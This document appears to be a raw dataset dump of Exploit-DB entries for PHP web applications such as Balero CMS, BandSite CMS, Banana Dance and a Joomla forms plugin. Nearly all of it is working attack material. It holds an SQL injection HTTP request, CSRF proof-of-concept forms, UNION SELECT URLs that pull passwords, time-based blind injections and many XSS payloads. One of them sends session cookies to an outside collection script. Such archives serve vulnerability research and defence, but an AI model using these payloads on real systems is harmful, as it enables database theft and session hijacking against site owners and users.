deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50447
Description: Balbooa Joomla Forms Builder 2.0.6 - SQL Injection (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-10-25
Author: blockomat2100

Exploit:
# Exploit Title: Balbooa Joomla Forms Builder 2.0.6 - SQL Injection (Unauthenticated)
# Date: 24.10.2021
# Exploit Author: blockomat2100
# Vendor Homepage: https://www.balbooa.com/
# Version: 2.0.6
# Tested on: Docker

An example request to trigger the SQL-Injection:

POST /index.php?option=com_baforms HTTP/1.1
Host: localhost
Content-Length: 862
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTAak6w3vHUykgInT
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: 7b1c9321dbfaa3e34d2c66e9b23b9d21=016d065924684a506c09304ba2a13035
Connection: close

------WebKitFormBoundaryTAak6w3vHUykgInT
Content-Disposition: form-data; name="1"

{"1":{"submission_id":0,"form_id":1,"field_id":1,"name":"test.png","filename":"test.png","date":"2021-09-28-17-19-51","id":"SQLI"}}
------WebKitFormBoundaryTAak6w3vHUykgInT
Content-Disposition: form-data; name="form-id"

1
------WebKitFormBoundaryTAak6w3vHUykgInT
Content-Disposition: form-data; name="task"

form.message
------WebKitFormBoundaryTAak6w3vHUykgInT
Content-Disposition: form-data; name="submit-btn"

2
------WebKitFormBoundaryTAak6w3vHUykgInT
Content-Disposition: form-data; name="page-title"

Home
------WebKitFormBoundaryTAak6w3vHUykgInT
Content-Disposition: form-data; name="page-url"

http://localhost/
------WebKitFormBoundaryTAak6w3vHUykgInT
Content-Disposition: form-data; name="page-id"

0
------WebKitFormBoundaryTAak6w3vHUykgInT--
Exploit-DB #36675
Description: Balero CMS 0.7.2 - Multiple Blind SQL Injections
Type: webapps
Platform: php
Date: 2015-04-08
Author: LiquidWorm

Exploit:

Balero CMS v0.7.2 Multiple Blind SQL Injection Vulnerabilities

Vendor: BaleroCMS Software
Product web page: http://www.balerocms.com
Affected version: 0.7.2

Summary: Balero CMS is an open source project that can help you manage
the page of your company with just a few guided steps, minimizing the
costs that many companies make to have your advertising medium and/or
portal.

Desc: The application suffers from multiple blind SQL injection vulnerabilities
when input is passed to several POST parameters thru their affected modules
which are not properly sanitised before being returned to the user or used
in SQL queries. This can be exploited to manipulate SQL queries by injecting
arbitrary SQL code.

Vulnerable POST parameters in affected modules:
-----------------------------------------------
- pages         [admin]
- themes        [admin]
- code          [mod-languages]
- id            [mod-blog, mod-virtual_page]
- title         [mod-blog]
- a             [mod-virtual_page]
- virtual_title [mod-virtual_page]
-----------------------------------------------

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5238
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5238.php


04.03.2015

--


csrf+bsqli poc:

<html>
  <body>
    <form action="http://localhost/balerocms/admin/edit_page/mod-virtual_page/id-11" method="POST">
      <input type="hidden" name="virtual_title" value="ZSL" />
      <input type="hidden" name="a" value="1" />
      <input type="hidden" name="content" value="Testingus" />
      <input type="hidden" name="_wysihtml5_mode" value="1" />
      <input type="hidden" name="id" value="11' and benchmark (50000000,sha1(1))-- " />
      <input type="hidden" name="submit_delete" value="" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>
Exploit-DB #36676
Description: Balero CMS 0.7.2 - Multiple JS/HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2015-04-08
Author: LiquidWorm

Exploit:
<!--

Balero CMS v0.7.2 Multiple JS/HTML Injection Vulnerabilities

Vendor: BaleroCMS Software
Product web page: http://www.balerocms.com
Affected version: 0.7.2

Summary: Balero CMS is an open source project that can help you manage
the page of your company with just a few guided steps, minimizing the
costs that many companies make to have your advertising medium and/or
portal.

Desc: Input passed to the 'content' POST parameter and the cookie 'counter'
is not properly sanitised before being returned to the user. This can be
exploited to execute arbitrary HTML and script code in a user's browser
session in context of an affected site.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5239
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5239.php


04.03.2015

-->


<html>
  <body>
    <script>
      document.cookie="counter=1<script>confirm('XSS')</script>; path=/balerocms/";
    </script>
  </body>
</html>


csrf+stored xss+filter bypass+session hijack:

<html>
  <body>
    <form action="http://localhost/balerocms/admin/edit_delete_post/mod-blog" method="POST">
      <input type="hidden" name="title" value="ZSL" />
      <input type="hidden" name="content" value="pwned&lt;/textarea&gt;<s\cript>document.location="http://www.zeroscience.mk/pentest/cthief.php?cookie="+docu\ment.cookie;</s\cript>" />
      <input type="hidden" name="files" value="joxy.poxy" />
      <input type="hidden" name="delete_post[]" value="135" />
      <input type="hidden" name="id" value="135" />
      <input type="hidden" name="submit" value="" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>
Exploit-DB #36351
Description: Balitbang CMS 3.3 - 'alumni.php?hal' SQL Injection
Type: webapps
Platform: php
Date: 2011-11-24
Author: X-Cisadane

Exploit:
source: https://www.securityfocus.com/bid/50797/info
 
CMS Balitbang is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in an SQL query.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
http://www.example.com/<CMS Balitbang Installation Path>/alumni.php?id=data&tahun&hal='[SQL]
Exploit-DB #36350
Description: Balitbang CMS 3.3 - 'index.php?hal' SQL Injection
Type: webapps
Platform: php
Date: 2011-11-24
Author: X-Cisadane

Exploit:
source: https://www.securityfocus.com/bid/50797/info

CMS Balitbang is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/<CMS Balitbang Installation Path>/index.php?id=lih_buku&hal='[SQL]
Exploit-DB #14470
Description: Ballettin Forum - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-25
Author: 3v0

Exploit:
====================================================================
# Exploit Title: Ballettin Forum Multiple SQL Injection Vulnerability
# Date: 25/07/2010
# Author: 3v0 aka evolution <evolution ^ darkedition.com>
# Software Link: http://www.ballettin.com
# Tested on: Windows Xp Pack 3
====================================================================
#1 - Vulnerable File
------------------------------------------------------
[+] File: http://www.site.com/alinti.php?mesajid=[SQL]
[+] Exploit: http://www.site.com/alinti.php?mesajid=-6666+UNION+SELECT+sifre+FROM+uyeler+WHERE+id=1

#2 - Insecure Cookie
------------------------------------------------------
javascript:document.cookie="ballettin=-6666 UNION SELECT * FROM uyeler WHERE id=1";
After go to http://www.site.com/ust.php
====================================================================
Exploit-DB #37646
Description: Banana Dance - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2012-08-22
Author: Canberk BOLAT

Exploit:
source: https://www.securityfocus.com/bid/55153/info

Banana Dance is prone to cross-site-scripting and SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Banana Dance B.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000174)%3C/script%3E&category=3
http://www.example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00017B)%3C/script%3E&category=3
http://www.example.com/search.php?q=234&category=-111%27)%20OR%20SLEEP(25)=0%20LIMIT%201--+
Exploit-DB #17919
Description: Banana Dance CMS and Wiki - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-02
Author: Aodrulez

Exploit:
+-----------------------+
| Banana Dance CMS+Wiki |
+-----------------------+
  
Vulnerable Web-App : Banana Dance CMS+Wiki
Vulnerability      : SQLi
Author             : Aodrulez. 
Email              : f3arm3d3ar@gmail.com
Google-Dork        : :) Guess it.
Tested on          : Ubuntu 10.04
Web-App            : http://www.doyoubananadance.com/
Download Link      : http://www.doyoubananadance.com/functions/dl.php?file=4e84e50f89bf7
 
 
+---------+
| Details |
+---------+

1] SQLi 
Exploit : http://localhost/user.php?id=1'[sqli]

Error:
------
Invalid query:
SELECT `key`,`value` FROM `bd_user_data` WHERE `user_id`='1''
Error: You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right 
syntax to use near ''1''' at line 1



+----------+
|  MalCon  |
+----------+
(International Malware Conference)

The CFP for MalCon-2011 is ON!
If you think you are good enough, try cracking our
'Capture the Mal Challenge-2011' online.
Open to everyone!

For more details, visit http://malcon.org




+-------------------+
| Greetz Fly Out To |
+-------------------+
   
  
1] Amforked()          : My Mentor.
2] The Blue Genius     : My Boss.
3] str0ke (milw0rm)
4] www.orchidseven.com
5] www.malcon.org
6] www.isac.org.in
7] www.nsd.org.in
8] LiquidWorm
 
+-------+
| Quote |
+-------+
 
"Microsoft is not the answer. Microsoft is the question. NO is the answer."   - Erik Naggum
Exploit-DB #30801
Description: Bandersnatch 0.4 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-11-23
Author: Tim Brown

Exploit:
source: https://www.securityfocus.com/bid/26553/info

Bandersnatch is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Bandersnatch 0.4 is vulnerable; other versions may also be affected. 

http://www.example.com/path/to/index.php?func=[injectionpoint]
http://www.example.com/path/to/index.php?date=[injectionpoint]
http://www.example.com/path/to/index.php?func=log&jid=[injectionpoint]
http://www.example.com/path/to/index.php?func=user&jid=[injectionpoint]
Exploit-DB #30405
Description: Bandersnatch 0.4 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2007-07-27
Author: Tim Brown

Exploit:
source: https://www.securityfocus.com/bid/25094/info

Bandersnatch is prone to multiple input-validation vulnerabilities because the application fails to sanitize user-supplied input. These issues include multiple SQL-injections vulnerabilities and an HTML-injection vulnerability.

A successful exploit may allow an attacker to steal cookie-based authentication credentials, execute malicious script code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects Bandersnatch 0.4; other versions may also be affected. 

http://www.example.com/index.php?date=[SQL]
http://www.example.com/index.php?limit=[SQL]
Exploit-DB #28623
Description: BandSite CMS 1.1 - 'bio_content.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
      
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
      
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
      
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/bio_content.php?the_band=<Script>alert(document.cookie);</script>
Exploit-DB #28638
Description: BandSite CMS 1.1 - 'footer.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
                     
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
                     
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
                     
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/footer.php?this_year=<script>alert(document.cookie);</script>
Exploit-DB #28624
Description: BandSite CMS 1.1 - 'gbook_content.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
       
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
       
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
       
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/gbook_content.php?the_band=<script>alert(document.cookie);</script>
Exploit-DB #28621
Description: BandSite CMS 1.1 - 'header.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
    
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
    
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
    
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/adminpanel/includes/header.php?the_band=</title><script>alert(document.cookie);</script>
Exploit-DB #28618
Description: BandSite CMS 1.1 - 'help_merch.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
 
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
 
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/adminpanel/includes/helpfiles/help_merch.php?the_band=<script>alert(document.cookie);</script>
Exploit-DB #28619
Description: BandSite CMS 1.1 - 'help_mp3.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
  
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
  
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
  
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/adminpanel/includes/helpfiles/help_mp3.php?max_file_size_purdy=<script>alert(document.cookie);</script>
Exploit-DB #28617
Description: BandSite CMS 1.1 - 'help_news.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info

Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.

Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/adminpanel/includes/helpfiles/help_news.php?the_band=<script>alert(document.cookie);</script>
Exploit-DB #28625
Description: BandSite CMS 1.1 - 'interview_content.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
        
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
        
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
        
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/interview_content.php?the_band=<script>alert(document.cookie);</script>
Exploit-DB #28626
Description: BandSite CMS 1.1 - 'links_content.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
         
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
         
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
         
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/links_content.php?the_band=<script>alert(document.cookie);</script>
Exploit-DB #28622
Description: BandSite CMS 1.1 - 'login_header.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
     
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
     
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
     
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/adminpanel/login_header.php?the_band=</title><script>alert(document.cookie);</script>
Exploit-DB #28627
Description: BandSite CMS 1.1 - 'lyrics_content.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
          
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
          
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
          
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/lyrics_content.php?the_band=<script>alert(document.cookie);</script>
Exploit-DB #28628
Description: BandSite CMS 1.1 - 'member_content.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
           
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
           
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
           
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/member_content.php?the_band=<script>alert(document.cookie);</script>